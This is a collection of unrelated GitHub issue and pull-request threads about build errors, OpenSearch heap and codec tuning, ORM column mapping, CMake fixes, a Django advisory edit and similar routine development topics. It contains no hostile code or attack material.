modules\gdnative\gd_native_library_editor.cpp:40:29: error: out-of-line definition of '_update_libraries' does not match any declaration in 'GDNativeLibrary'
void GDNativeLibraryEditor::_update_libraries() {
                            ^~~~~~~~~~~~~~~~~
modules\gdnative\gd_native_library_editor.cpp:42:2: error: use of undeclared identifier 'updating'
        updating=true;
        ^
modules\gdnative\gd_native_library_editor.cpp:43:2: error: use of undeclared identifier 'libraries'
        libraries->clear();
        ^
modules\gdnative\gd_native_library_editor.cpp:44:2: error: use of undeclared identifier 'libraries'
        libraries->create_item(); //rppt
        ^
modules\gdnative\gd_native_library_editor.cpp:47:6: error: use of undeclared identifier 'ProjectSettings'
        if (ProjectSettings::get_singleton()->has("gdnative/singletons")) {
            ^
modules\gdnative\gd_native_library_editor.cpp:48:17: error: use of undeclared identifier 'ProjectSettings'
                enabled_paths=ProjectSettings::get_singleton()->get("gdnative/singletons");
                              ^
modules\gdnative\gd_native_library_editor.cpp:55:2: error: unknown type name 'EditorFileSystemDirectory'
        EditorFileSystemDirectory *fs = EditorFileSystem::get_singleton()->get_filesystem();
        ^
modules\gdnative\gd_native_library_editor.cpp:55:34: error: use of undeclared identifier 'EditorFileSystem'
        EditorFileSystemDirectory *fs = EditorFileSystem::get_singleton()->get_filesystem();
                                        ^
modules\gdnative\gd_native_library_editor.cpp:60:2: error: use of undeclared identifier 'updating'
        updating=false;
        ^
modules\gdnative\gd_native_library_editor.cpp:64:6: error: use of undeclared identifier 'GDNativeLibraryEditor'; did you mean 'GDNativeLibrary'?
void GDNativeLibraryEditor::_item_edited() {
     ^~~~~~~~~~~~~~~~~~~~~
     GDNativeLibrary
modules\gdnative/gdnative.h:40:7: note: 'GDNativeLibrary' declared here
class GDNativeLibrary : public Resource {
      ^
modules\gdnative\gd_native_library_editor.cpp:64:29: error: out-of-line definition of '_item_edited' does not match any declaration in 'GDNativeLibrary'
void GDNativeLibraryEditor::_item_edited() {
                            ^~~~~~~~~~~~
modules\gdnative\gd_native_library_editor.cpp:65:6: error: use of undeclared identifier 'updating'
        if (updating)
            ^
fatal error: too many errors emitted, stopping now [-ferror-limit=]
20 errors generated.
ERROR:root:compiler frontend failed to generate LLVM bitcode, halting
scons: *** [modules\gdnative\gd_native_library_editor.javascript.opt.webassembly.bc] Error 1
scons: building terminated because of errors.

#11298 should fix this.


adding metrics-server and ingress-nginx

adding 2 folders for the deployment of:

metrics-server
ingress-nginx

I have read the CLA Document and I hereby sign the CLA


[DPE-4115] Performance Profile Support

This PR extends the current charm to support performance profiles following spec DA031 and add supports for the following profiles:

testing:

focused in the integration tests and our CI -> 1G RAM dedicated to the Heap and no automation

staging:

HA capabilities must be available: for that, we will enforce index template that encompasses all the indices and sets replica: 1-all
Extends heap to: max(1G, 10% of RAM)
indices.memory.index_buffer_size extends to 25%
Adds three component templates, that will be described later

production:

Same features as the staging, but heap is set instead to: max(1G, 50% of RAM)

The options above are set based on the following documents:
https://opensearch.org/docs/latest/tuning-your-cluster/performance/
https://opensearch.org/docs/latest/search-plugins/knn/performance-tuning/
The user can switch between the three options above, and depending on the selected value, the templates are created or destroyed.

Hi @Mehdi-Bendriss, I will go over your points one by one:

Replication factor:
We should never set the replication factor to 1-all - this is unnatural for non system indices and may cause the disk of all units to overflow quickly.
...
If we want to be safer, we should look for indices whose number_of_replicas < 1 and set it to 1. Not more.

Indeed, I corrected that right after our conversation earlier this week in this commit.
Although I agree with the removal of -all, thinking of real world deployments, we always go with at least 3x nodes. Other operators like SQL DBs will always have 1x main + 2x replicas in-sync when deployed by field. We remove the -all but we could have a similar experience and set it to 2, as we are in the HA type of deployment, hence at least 3 nodes will be present.

Replication factors are set by the user.

True, but on our specification: DA031 - Profile config option, it is stated that both staging and production, we will be providing a highly-available and scalable service to be used in production.. Now, that is a bit open for interpretation in my view: "highly-available" in terms of OpenSearch services (i.e. only the service indices should be set for HA by our charm) OR in terms of using OpenSearch as well (i.e. even indices created by the user).
That is why I am trying to put together a minimum "index template", that at least assures an user it will replicate, unless this user explicitly states otherwise.

Codec used:

TBH, I am not entirely set on each of the values we will discuss below. That is one of the reasons I have added them as component templates, so an user will build their own index templates on top.
I'd rather benchmark these for comparison on top. Maybe getting that landed on this PR. TL;DR I think we can play it safer as follows:

break the "component template" setup on a separate branch, for now
we run performance tests until we are okay with which values to suggest
if we are okay with the results, we can report it and update first our documentation (an user can then follow and create their own indices / index template)
Eventually, come back to the branch from step (1) and merge it.
WDYT?

I will start with a later question of yours:

which one to choose?

The codec selection came from these results.

Why did you choose zstd_no_dict instead of zst

In the case of zstd_no_dict, from the results you will see above, we would sacrifice 5% compression for +7% (net) p90 latency and +7% throughput (net) when compared with zstd.

or instead qat_lz4 (in supported systems) or others?

Happy to set QAT if we get the logic to detect and enable it. We are not yet there.

How?

First, we should keep in mind some types of indices cannot simply work with all the codecs (e.g. the vector indices).
As you also noticed, I am not really onboard with these results, as there are other parameters to be set. In this case, the How?? will have to be done the same way we've done the AVX testing: by running performance tests and comparing results.

It may also be needed to set a compression algorithm with each? which one to choose? how?

Yes, I also have this concern. What I think we should do here is run these component templates against benchmarks and document their results.

Heap size:
The heap size should, in production, be set to 50% but lower than 32Gb as per the official opensearch recommendations. here and here.

Thanks, that is a really good point. I will set a hard limit of up to 32G. Indeed having the GC going over 100s of Gigs does not sound good :)

Units conversion:

So, some thoughts here: (1) indeed sticking with Kb, as long as the JVM can accept the "32G" in Kb format, is a good idea and would simplify a lot; and (2) I was discussing with Big Data team could benefit from this logic here. The idea is to eventually move to the data_platform_helpers. From what I gathered, they are currently setting the JVM heap on a hard limited number rn.

The main complexity of this PR revolves around unit conversions, 2 things to note:

/proc/meminfo always returns units in Kb.

That is true as the kernel code shows.

any reason to not use psutil ? this should save you the parsing of /meminfo

Yes, two reasons: (1) the parsing goes from L589 to L598... I prefer 10 LoCs that process a file whose format is set in stone by the kernel than adding a new dependency (that actually is not shipped with stock Ubuntu anyways); and (2) it gives access to hugepages info as well, which we can potentially explore later, and would be "just there".

Jvm XMS and XMX properties accept either g|G -- m|M -- k|K, meaning the smallest unit is k.
With this in mind - it makes sense to normalize the values to the smallest unit supported by both, which is the Kb and work with it exclusively (when reading, calculating or writing to file).

Yes, I was going down to the bytes and coming back but indeed makes sense to stop on Kb instead and we handle all this in Kb.

Hey @phvalguima I've tested the PR for large deployments. It does work when creating the deployment and also when updating the profile for the main-orchestrator. As commented in the code, updating the profile for non-main-orchestrators does not work currently.
Is this restriction supposed to stay? If so, I think we should display it to the user (e.g. with an error-message in the log) when applying the config-change on non-main-orchestrators, otherwise we would have a config mismatch and no feedback why.


Alow precalculating the results of text wrapping.

This may be useful for example if the developer wants to control pagination, in which case he may know in advance the total number of lines the text will wrap to, and then set it on batches.

Fixing a potential issue.

:+1:


Updates for AddressLinkTable

Minor update for AddressLinkTable Notes to include tasks. Your project continues to provide a great sanity check. Thanks
OwnerType
0 = Person (Address of Person Fact from Edit Person Window)
1 = Family (Address of Spouse / Parents from Edit Person Window)
3 = Source (Repository)
6 = Task  (Address or Repository)
OwnerID
0 = PersonTable.PersonID
1 = FamilyTable.FamilyID
3 = SourceTable.SourceID
6 = TaskTable.TaskID

Added OwnerType 6 (Task) to list


Test pull request.

This is a test pull request that will have all tests passed.

All tests passed!


Fix crash when checking empty string for valid hex number

Found the bug while implementing #24582.

Related to #21708.

#21708 (or another PR superseding it) should fix this, but as @reduz mentioned, the code is clearer this way anyway, so merging. Thanks!


regex not listed as a dependency in setup.py

Currently regex is imported at https://github.com/typeddjango/pytest-mypy-plugins/blob/master/pytest_mypy_plugins/utils.py#L23 but it is not listed in setup.py
I ran into the issue with 1.8 in a project https://github.com/nucleic/atom/pull/122/checks?check_run_id=3538057249
Would it be possible to fix it and publish a new release ?

@MatthieuDartiailh please, send a PR. I will publish new release ASAP.

Done in #61. Thanks for the fast answer @sobolevn


Adding a display name to avoid the component to display as Unknown

Adding a display name to avoid the component to display as Unknown in React Developer Tools

Good one. This broke when JSX was removed from the library.


Request: option to "Restart extensions" automatically on startup

Thanks for this great extension :heart:
I like that it doesn't auto-restart when I change the direnv during development, but on startup it's often just a bit annoying I have to click it each time I open a new window.
I know that it's not possible to skip this step of reloading extensions, so I thought it could auto-restart when opening the window?

This is an interesting idea, thanks!
I don't think vscode has API to determine whether we are (still) starting up (also see below) so we'd have to modify the load during activation. The experiment/sync branch might have some inspiration in case you want to give it a go.
Some caveats that come to mind:

It's Hard to really determine whether we're still in startup, because the direnv execution can take arbitrarily long. Like when it starts downloading and/or building a whole toolchain or dependencies to work on stuff. And when the first run on activation does take long, and one starts working while it runs, then getting interrupted would suck 😔
In case stuff goes wrong and the extension keeps believing it has to restart then this would throw it into an infinite automatic restart loop, we might want some protection against that 🤔

…That said, the same arguments apply to the existing auto restart preference, so if we default to false that should be fine*? And I can start thinking about some auto restart loop detection.

This is an interesting idea, thanks!

No, thank you 😋

I don't think vscode has API to determine whether we are (still) starting up (also see below) so we'd have to modify the load during activation. The experiment/sync branch might have some inspiration in case you want to give it a go.

I will check it out 🤘

It's Hard to really determine whether we're still in startup, because the direnv execution can take arbitrarily long.

Wouldn't we be able to save the timestamp when direnv execution starts and have an arbitrary (configurable) max time for the auto-reload?

In case stuff goes wrong and the extension keeps believing it has to restart then this would throw it into an infinite automatic restart loop, we might want some protection against that 🤔

That is a good idea 😅
Is there a persistent storage for vscode extensions? Or use .direnv/vscode-ext-data.json (as that should be in gitignore)?
There you could save the last auto-restart attempt (and if it was successfull), and if there was a recent one (&& it did not succeed) - then skip auto-reload... or something like that 🤔


[BUG]: Column name conversion not working when using sql.js

Report hasn't been filed before.

[X] I have verified that the bug I'm about to report hasn't been filed before.

What version of drizzle-orm are you using?
0.36.4
What version of drizzle-kit are you using?
0.28.1
Other packages
No response
Describe the Bug
Column name conversion not working when using sql.js
Description
Here is a simple example can show this bug:
import initSqlJs from "sql.js";
import fs from "node:fs";
import { drizzle } from "drizzle-orm/sql-js";
import { numeric, sqliteTable, text } from "drizzle-orm/sqlite-core";

const testTable = sqliteTable("test", {
	id: numeric().primaryKey().notNull(),
	testSnakeName: text().notNull(),
});

async function main() {
	const SQL = await initSqlJs();
        // // this a simple sqlite database, which is used to demonstrate this bug
	const dbFile = fs.readFileSync("./test.sqlite");
	const dbOrigin = new SQL.Database(dbFile);
	const db = drizzle(dbOrigin, {
		schema: { testTable },
		logger: true,
	});
	const result = await db.query.testTable.findFirst();
	console.log("result:", result);
	console.log("property:", result?.testSnakeName);
}

await main();

As you can observe, the table contains a column named test_snake_name. We utilize the testSnakeName to refer to this column in the Drizzle schema. However, there is an issue:
Query: select "id", "test_snake_name" from "test" "testTable" limit ? -- params: [1]
result: { id: 1, test_snake_name: 'test' }
property: undefined

The query was successfully executed, and the result was retrieved. However, the retrieved data was not converted to the appropriate object type suitable for use in TypeScript or JavaScript code. Instead, it retains the name stored in the database.
Other info
I discovered similar (or identical) issues in #2189, which was opened on April 22, 2024. However, due to the high volume of issues, it appears that your team may have overlooked this matter. Therefore, I am re-reporting it here for your attention.

Incidentally, I believe I have identified the source of the issue.
https://github.com/drizzle-team/drizzle-orm/blob/599da5ef7a037904989069596c8879690f9c5322/drizzle-orm/src/sql-js/session.ts#L42C1-L70C3
    prepareQuery<T extends Omit<PreparedQueryConfig, 'run'>>(
        query: Query,
        fields: SelectedFieldsOrdered | undefined,
        executeMethod: SQLiteExecuteMethod,
        isResponseInArrayMode: boolean,
    ): PreparedQuery<T> {
        const stmt = this.client.prepare(query.sql);
        return new PreparedQuery(stmt, query, this.logger, fields, executeMethod, isResponseInArrayMode);
    }

    override prepareOneTimeQuery<T extends Omit<PreparedQueryConfig, 'run'>>(
        query: Query,
        fields: SelectedFieldsOrdered | undefined,
        executeMethod: SQLiteExecuteMethod,
        isResponseInArrayMode: boolean,
        customResultMapper?: (rows: unknown[][]) => unknown,
    ): PreparedQuery<T> {
        const stmt = this.client.prepare(query.sql);
        return new PreparedQuery(
            stmt,
            query,
            this.logger,
            fields,
            executeMethod,
            isResponseInArrayMode,
            customResultMapper,
            true,
        );
    }

It is evident that the prepareQuery method does not accept a customResultMapper, which is essential for converting column names.
I am passionate to open a new Pull Request to fix this issue.


Split cli package

This PR modifies the cli commands to use the newly added API client.
cc @stuartnelson3

It might make more sense to move those files back to cli/, and then move cli/client.go to its own client/ dir. I'm guessing that was the separation you wanted, between "cli stuff" and "the client that interacts with the api".

:+1: I'll update accordingly. Thanks for the other tips.


Add link to app stores on the 'compatibility fail' screen

@zulipbot claim

@zulipbot claim

To be honest, I don't think this is worth doing.
We better focus on high-value tasks.
(if you've already implemented it, we can merge)

I was going to implement this today :)
hmm.. this is not that much important :) lets focus of high value tasks 👍


docs: Fix typo in useFloating width: max-content

Fix a typo in the useFloating docs based on the information in this ResizeObserver issue.
The docs say width: max-width instead of the width: max-content that the issue recommends.

Lol interesting typo, thanks for spotting!


Remove functions that are now duplicated from libCEED.

Remove CeedOperatorGetActiveBasis and CeedOperatorGetActiveElemRestriction from MFEM since they are now defined in libCEED.

We are waiting on a libCEED release number for this.

closed in favor of #2569


Make gson optional dependency

The same approach as Retrofit can be opted where the json serializer isn't packaged with the library but can be plugged in by the user of the library while creating the DeskClient

@madki did you ever resolve this? I have a similar issue. I'd love to know how you went around this.


Question

Can i request 1000 goerli token for add liquidity my token on uniswap

When I paste the tweet link at https://goerli-faucet.mudit.blog and select one of the three dropdown options, I get this issue - insufficient funds for gas * price + value. How do I solve this? Or can someone help me get 10 to 20 Goerli tokens?

When I paste the tweet link at https://goerli-faucet.mudit.blog and select one of the three dropdown options, I get this issue - insufficient funds for gas * price + value. How do I solve this?

Goerli is deprecated and running out of funds.
Try one of the faucets from https://faucetlink.to/goerli
Unfortunately there is no way to get higher amounts of GoETH freely anymore.
You should head over to the Sepolia testnet.
The network is the currently supported testnet for dApp development and it is a lot easier to get some funds there.


Remove conformance of Complex to Differentiable

The conformance was breaking CI testing, because the CI bots use a macOS version that predates availability of the _Differentiation module, and the compiler-generated differentation operations have neither availability attributes nor checks, so any reference to those operations simply crashes in dyld because the library is not present. We can add availability, but that's not really accurate either, because these operations are not actually binary-stable, so while we wouldn't crash in dyld, we also might not work correctly in the future. We could mark them unavailable on Apple platforms, but that's also not quite right (and further means that they're not going to get a lot of attention). The best solution seems to be to remove the conformance (which was never source-stable).

@swift-ci test

@compnerd This will definitely break the cmake build as is, can you spare a little time to help me fix it?

(In particular, the _NumericsShims target will fail because it no longer has an include subdirectory for the header.)

Ah, interesting; where is the header supposed to come from now?

It's just _NumericShims/_NumericShims.h now.

Ah, the CMake change is easy:
diff --git a/Sources/_NumericsShims/CMakeLists.txt b/Sources/_NumericsShims/CMakeLists.txt
index 92ed523..56bef5b 100644
--- a/Sources/_NumericsShims/CMakeLists.txt
+++ b/Sources/_NumericsShims/CMakeLists.txt
@@ -9,6 +9,6 @@ See https://swift.org/LICENSE.txt for license information

 add_library(_NumericsShims INTERFACE)
 target_include_directories(_NumericsShims INTERFACE
-  include)
+  ${CMAKE_CURRENT_SOURCE_DIR})

 set_property(GLOBAL APPEND PROPERTY SWIFT_NUMERICS_EXPORTS _NumericsShims)

This still will break on Windows due to the m linkage.  We need to conditionalize that.

This still will break on Windows due to the m linkage. We need to conditionalize that.

Yep. What should it be there?

Correct; just like on macOS, there is no link necessary.

@swift-ci test

@swift-ci test

Hmm, I think that the linking approach would work, but missed the CMake change :-(.


Cairo Text rendering broken

Hi,
it seems that with the recent activity to break down cairo.go into smaller pieces, this commit has been lost:
https://github.com/gotk3/gotk3/commit/24f3a1feb2c2dc30c957041ea3f130cfe25ee6f4
which adds text rendering to cairo.
I will add a text.go to cairo having the exact same content as the commit above.
Cheers
Axel

have you error message or better example code

Currently I come up with my project https://github.com/axel-freesp/sge which depends on gotk3 bindings and raises this bug. When time permits, I can add an example to the gotk3-examples...

97abdca696d3a0eadf4d6c94303175cdf516774b contains the fix.


Fix workflows after default branch rename

Branch tags in workflows are not forwarded apparently, which broke the workflows.

@raulcd I am going to yolo merge this to get the workflows going again.


poetry init should accept the long license name in addition to the abbreviation

[x] I have searched the issues of this repo and believe that this is not a duplicate.

Issue
A minor quality-of-life improvement to poetry init would be to accept the long name for a license, e.g. "Apache License 2.0", in addition to the abbreviation, "Apache-2.0". It looks like Poetry already tracks both variations.
$ poetry init

This command will guide you through creating your poetry.toml config.

Package name [flintrock]:
<snipped>
License []: Apache License 2.0
 Invalid license id: Apache License 2.0
License []: Apache-2.0
<success>

The reason I tried the longer version of the license name first, and the reason I think it would make sense for Poetry to accept that variation, is because that's what I had in my call to setuptools.setup(license=...) in my setup.py. I imagine other users might try the same and try to work through poetry init by copying things out of their setup.py.

Thanks for bringing this up. It's been addressed now in the upcoming version.


handle bad rootfs better

if for example /home is missing, the following error happens:
$ plash run 157

mount: /home/ihucos/.plashdata/mnt/home: mount point does not exist.
Traceback (most recent call last):
  File "/usr/local/lib/python3.6/dist-packages/plash/libexec/plash-runopts", line 92, in <module>
    os.path.join(mountpoint, mount.lstrip('/'))
  File "/usr/lib/python3.6/subprocess.py", line 291, in check_call
    raise CalledProcessError(retcode, cmd)
subprocess.CalledProcessError: Command '['mount', '--rbind', '/home', '/home/ihucos/.plashdata/mnt/home']' returned non-zero exit status 32.

One elegant/interesting/lightweight/hacky solution is to have the home folder in the root container!

The newish C implementation of runopts fixes this.


Added GKE integration test for ml-gke yaml blueprint

This is based on https://github.com/GoogleCloudPlatform/hpc-toolkit/pull/2671 which had some issues

Also seems pre-commit is failing.


Fixing reference in SimpleObject to new JAXB isis package

Signed-off-by: Brian Kalbfus<EMAIL_ADDRESS>

Thx Brian!


Older iPad+Safari not loading optimizer's image.

Ipad + Safari with 2020 OS, none of the images that goes through the optimizer will work.

Raw URL testing:

:x: https://thumbnails.odycdn.com/optimize/plain/https://player.odycdn.com/speech/2e9a7dc6c99f0fb9.jpg

:heavy_check_mark: https://player.odycdn.com/speech/2e9a7dc6c99f0fb9.jpg

With 2021 OS onwards, then it works.

This is most likely due to lack of webp support. We rarely get any complaints, so I think most people are updated. It would be a hassle to serve / store non webp versions of all thumbs, so probably not something we'll consider anytime soon.


Meet with Charreau

Meet with Charreau sometime before Monday 1/31 to gain insight on audio transformers used in her previous work

Spoke with Charreau 1/31. Refer to notes for full details of call. Want to next create a dataset and decide on a model (Hubert) to be used for retraining.


Incorrectly Displaying Off-line

Coordinator shows both turbine and boiler as off-line if an RTU boots without a boiler connected.

Wonder who caught this :p


[GHSA-6wcr-wcqm-3mfh] The get_format function in utils/formats.py in Django...

Updates

Affected products
References
Source code location
Summary

Comments
Add more patch links related to CVE-2015-8213 which fixed in multi-branch.

@sunSUNQ, in the future please do not duplicate the description into the summary.

Sure, I will make sure to modify the summary in future submissions. According to the official advisory in NVD, the affected versions for this vulnerability are 1.7.0-1.7.11, 1.8.0-1.8.7, and 1.9.0-1.9rc2.

I see. Please also fill that in for future PRs as well.


Label on right attribute for checkbox

Using the FormFactory.Attributes.LabelOnRightAttribute() on a PropertyVm object causes corruption in the rendered output. See AspMvc example index page.

Could you guys please merge it?

nice one, thanks!


Unable to read typings for "jasmine".

Description
typings ERR! message Unable to read typings for "jasmine". You should check the
path is correct
typings ERR! caused by Unable to connect to "https://raw.githubusercontent.com/D
efinitelyTyped/DefinitelyTyped/dd638012d63e069f2c99d06ef4dcc9616a943ee4/jasmine/
jasmine.d.ts"
typings Versions : 2.1.0

Looks like a connection issue? "Unable to connect to"


NuGet Autocomplete for Multiple NuGet sources

Describe the solution you'd like

Packages are currently only returned for one source -- the autocomplete should return packages for all sources
The search API for NuGet seems to return packages that are unrelated to the search term being used (information such as icon names for packages is matched). So an additional filter can be added to match the search result set on the NuGet package Identity.Id field so these completely unrelated packages are not returned in the autocomplete list.

Additional context
Work done here, very small:
https://github.com/marzullo/RoslynPad/commit/3d730ee2145d9b365c29b082423cba688514f764
Is it okay if I submit a PR for these changes? Any comments?

Hi. Sure you're welcome to submit a PR - but can you explain why you added
result.Where(x => x.Identity.Id.Contains(searchTerm))

The NuGet search engine already filters using this string in SearchAsync.

Right, it seems that the SearchAsync is filtering from the string, but it looks like to me that it is matching on any metadata with the searchTerm instead of just the package name itself. I can provide an example of this happening where a bunch of weird packages are returned because there's a match in the metadata, if you want to see it. I guess I just find this a little annoying since I think from a UX perspective that you would typically only be searching by package name, but it's not a necessary change.

I would like to keep the current functionality, so please don't include this extra filter in your PR :)


Error window font resizing enhancement request.

The error window stays at some small font, and I've found a few case where being able to increase it for presentation would be quite helpful.

Should be fixed in master


Debug: Continue icon doesn't show

Version: 1.33.0-insider
Commit: 1efaca21afeb983a8efdae6a6b142bd00276c563
Date: 2019-03-20T08:19:32.830Z
Electron: 3.1.6
Chrome: 66.0.3359.181
Node.js: 10.2.0
V8: 6.6.346.32
OS: Darwin x64 18.2.0

Fixed in latest, sorry about that


Try Securify on the Solidity code

https://securify.chainsecurity.com/
This is a part of https://github.com/raiden-network/raiden-contracts/issues/708 .

When I try to use Securify, it asks me whether I'm the owner of the code.  I cannot check the tickbox.


Array.prototype.filter.not.forcing.boolean.type

Fixes #
Changed the return value of Array.prototype.filter, use any instead of boolean!
based on this issue: #5850

Hi @NimaZahedi, I'm your friendly neighborhood Microsoft Pull Request Bot (You can call me MSBOT). Thanks for your contribution!
You've already signed the contribution license agreement. Thanks!
The agreement was validated by Microsoft and real humans are currently evaluating your PR.
TTYL, MSBOT;


Resolve #60

This PR resolves issue #60.

I did the changes by hand since I needed to update the client side as well.

Thanks for the PR though.


Remove length invariant from Cardano.Wallet.Jormungandr.Binary.putAddress.

This invariant is no longer appropriate.
Issue Number
None. Discovered while working on integration tests for #778.
Overview
This PR:

[x] removes the length invariant from Cardano.Wallet.Jormungandr.Binary.putAddress.
[x] fixes any tests that attempt to provoke this invariant.

bors r+

bors r+

bors r-

bors r+

bors r+

bors r+


Bump RPM spec files to version 2 in order to allow rebuild for signing

RPMs for 11.0.16+8 and 17.0.4+8 were published without being signed.
That issue is fixed by https://github.com/adoptium/installer/pull/509
This bumps the spec version so that we can republish in a way that means the the new fixed versions will be picked up by default.

@karianna @gdams Which changelog is appliable to the RPMs?
This is another example of why we need to get https://github.com/adoptium/installer/issues/473 closed off with the appropriate information for al distributions in it.

@karianna @gdams Which changelog is appliable to the RPMs?

OK Now understood to be the integral one in the spec files, but what are the implications on the version number - I presume the numeric suffix on adopt0 is the build number rather than the spec version. What is the recommended format of the changelog for an installer update?


liqoctl move pvc: bump restic and make container resources configurable

Description
This PR extends the liqoctl move pvc command, to allow for the configuration of the resources of the different containers created. This is especially required when used in conjunction with resource quotas, or #1224. Additionally, it bumps Restic to the latest version.
How Has This Been Tested?
Please describe the tests that you ran to verify your changes. Please also note any relevant details for your test configuration.

[x] Automatic tests (new + existing)
[x] Manually

/rebase test=true

/merge


Object cache control headers is wrong on stream

Environment details

OS: mac
Node.js version: v17.8.0
npm version: 8.5.5
google-cloud-node version: 6.0.0

Steps to reproduce
We are trying to proxy gcs files via an express server:
const app = express();
const storage = new Storage();
const bucket = storage.bucket("bucket name");
app.get("*", (req, res, next) => {
    bucket.file(req.path);
      .createReadStream()
      .on('response', function(response) {
        console.log(response.headers); // <- cache-control header is always "no-cache, no-store, max-age=0, must-revalidate"
      })
      .pipe(res);
  });

The response.headers["cache-control"] always returns no-cache, no-store, max-age=0, must-revalidate, even if we set different value in the object metadata. Note that other object metadata are returned correctly, e.g., content-type or content-encoding

@ddelgrosso1 Good to know. What would be the recommended way to get the cache control headers without making additional request for metadata in the example?

Right, we don't want to make the bucket publicly accessible. We are gating the whole bucket and proxy service for internal users only.
One solution would be making a call to getMetadata as you mentioned:
app.get("*", async (req, res, next) => {
    const file = bucket.file(req.path);
    const metadata = await file.getMetadata(); // <- extra call?
    // set headers with metadata here
    file.createReadStream().pipe(res);
  });

But this seems to make two calls for one proxy request.
Is there a better way to handle it?

You can avoid the additional call to getMetadata by hooking into the .on('end') event of the read stream. At that point in the cycle file.metadata should be populated.

Unfortunately, I am getting an Error Error [ERR_HTTP_HEADERS_SENT]: Cannot set headers after they are sent to the client when I set the headers in .on('end')...

Apologies, I misread the code and what you were attempting to do. I believe in this situation you are correct, if you wish to set the express response headers and pipe the file data to the response it will necessitate an additional call to getMetadata. The metadata is available after the stream is complete but as you noted you cannot set the headers at that point as the stream has already been piped to the response. The only other thing I can think would be to buffer the file data in memory before sending it to the express response which may not be feasible depending on file size / system load.

I believe that the original question regarding cache-control headers was answered. I am going to close this issue as a result. If you feel that there are still questions or other issues outstanding. Please feel free to reopen.


How to disable Solution Holding - Stage for Upgrade using CRM Package Deployer

When importing Solution using Package Deployer (non-GUI), by default it seems always applying “Apply Solution Upgrade” and Importing as Holding Solution.
Do you have any idea how to disable this feature by default when deploying CRM Package using Package Deployer?
So, the "Stage for Upgrade" will not be checked by default .
I have used this config:
  <solutions>
    <configsolutionfile solutionpackagefilename="TestCore_managed.zip"
                        overwriteunmanagedcustomizations="true"
                        publishworkflowsandactivateplugins="true"
                        holdingsolution="false" />
  </solutions>

But it does not work.
What is the correct parameter or setting, I have put the holdingsolution in the first config by sequence, but I don't think it has effect too.
I mean in the Import Solution Task, your task has option to enable/disable "Holding Solution", any idea for CRM Package Deployer?
Or the correct way is always Import solution first with all the setting then run the Package Deployer task after that?
Thank you!

@missdynamicscrm I normally import solutions before running package deployer, you will still need a dummy solution in the package deployer if you do this.
@mgcrmltd managed to do this using package deployer, I believe you have to override some of the methods in the c# code

This should enforce it for every import. You can add more logic make exceptions.
`public override UserRequestedImportAction OverrideSolutionImportDecision(string solutionUniqueName, Version organizationVersion, Version packageSolutionVersion, Version inboundSolutionVersion, Version deployedSolutionVersion, ImportAction systemSelectedImportAction)
{
return systemSelectedImportAction == ImportAction.Import
? UserRequestedImportAction.ForceUpdate
: base.OverrideSolutionImportDecision(solutionUniqueName, organizationVersion, packageSolutionVersion,
inboundSolutionVersion, deployedSolutionVersion, systemSelectedImportAction);
}`


plugs limit of 2bil rf?

was this put back from old system, i remember version way back when we could send any amount of rf of over 1 point.

Plugs have no limit, however, ForgeEnergy and RF API's limit is Integer max value

what are u talking u just said u can change it back to long in other post lol, and in ur older version of the mod i was doing 800b+ transfers with 1 node with no issues lol

https://cdn.discordapp.com/attachments/286993609193160735/646228733539123200/unknown.png
heres a screenshot of thee old system

you have not got it across, points/plugs/storages have no limit. but I forgot to use long max value to simulate so that points can only request 2 billion now, it will be fixed soon

f70ba268d0e7f5cfaa74867f2536c6c20e88b597


Norm stabilizer in evaluate mode

I'm using the norm stabilizer between two RNNs. The whole thing is wrapped in a sequencer. Training runs fine. When I set the model to evaluate for validation, I get the following error:
.../Torch/install/share/lua/5.1/rnn/NormStabilizer.lua:89: bad argument #1 to 'resizeAs' (torch.CudaTensor expected, got userdata)
stack traceback:
[C]: in function 'resizeAs'
.../Torch/install/share/lua/5.1/rnn/NormStabilizer.lua:89: in function '_updateGradInput'
...or/Torch/install/share/lua/5.1/rnn/AbstractRecurrent.lua:58: in function <...or/Torch/install/share/lua/5.1/rnn/AbstractRecurrent.lua:53>
It appears to make it part way through the sequence before the error comes up. Any ideas?

Nevermind, my mistake. I was running multi-threaded training but forgot to synchronize at the end of the training epoch, so some threads started validating before others finished training - the model was switched to evaluate mode before another thread tried to backprop.

Glad you were able to solve this :)
On May 17, 2016 12:00 PM, "jrbtaylor"<EMAIL_ADDRESS>wrote:

Closed #256 https://github.com/Element-Research/rnn/issues/256.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly or view it on GitHub
https://github.com/Element-Research/rnn/issues/256#event-663196499


[Run] Support .msc file

Please add support for searching and opening .msc files like gpedit.msc.
I want to open the gpedit.msc by typing gpedit.msc or Group Policy Editor.
Additional hint
In start menu this command is marked as type "control panel" (de: "Systemsteuerung").

Maybe this will be also fixed with #4200. But I am not sure.

Not fixed with #4200 in version 0.19.

Group policy is a control panel item, not something we search currently

Group policy is a control panel item, not something we search currently

Yes. But maybe we can search for it. Windows Search support this.

@saahmedm feel like this is a 0.21 item.  people use disk management and other items all the time

closing as duplicate of #3491


Upload multiple files

Upload multiple files
fixes #80

@roll it is ready for the review!

Thanks! Sorry I didn't manage to merge with my massive changes branches so I just used your code in - https://github.com/frictionlessdata/application/pull/96

REPLACED by https://github.com/frictionlessdata/application/pull/96


embed::linear_analog_temperature_sensor

Many analog temperature sensors have a linearly proportional relationship between the voltage and the temperature. A generic temperature sensor can be constructed with an embed::adc and some sort of linear proportion mapping structure. The class would look something like this:
namespace embed
{
template<linear_proportion_t Proportion>
class linear_analog_temperature_sensor : embed::temperature
{
  linear_analog_temperature_sensor(embed::adc & p_adc, /* anything else needed */);
  /* ... other apis ... */
};
}

Examples of ICs with linear output voltages proportional to

TMP35/36/37
LMT85
MAX6516 - MAX6519
TMP23x-Q1

I'm on it!

Unassigned @MaliaLabor for the same reason as posted here #137

Depends on #137


After starting webpack serve, the name of the grandpa folder of the file cannot be modified？

For example, I have a src/a/b/index.js file with webpack configured as follows.
After starting webpack serve, I can modify the b directory name, but I can't modify the a's name, vscode will prompt no permission.

webpack.config.js
const path = require('path')

module.exports = {
	entry: {
		index: path.resolve(__dirname, './packages/a/b/index.js'),
	},
	output: {
		path: path.resolve(__dirname, 'dist'),
		filename: '[name].bundle.js'
	}
}

package.json webpack versoin
{
  "name": "test-webpack",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "dev": "webpack serve"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "devDependencies": {
    "webpack": "^5.69.1",
    "webpack-cli": "^4.9.2",
    "webpack-dev-server": "^4.7.4"
  }
}

You don't have permission to do it, please check your user, maybe you run webpack under other user (root/admin?), I can't reproduce it, also please use the issue template in future


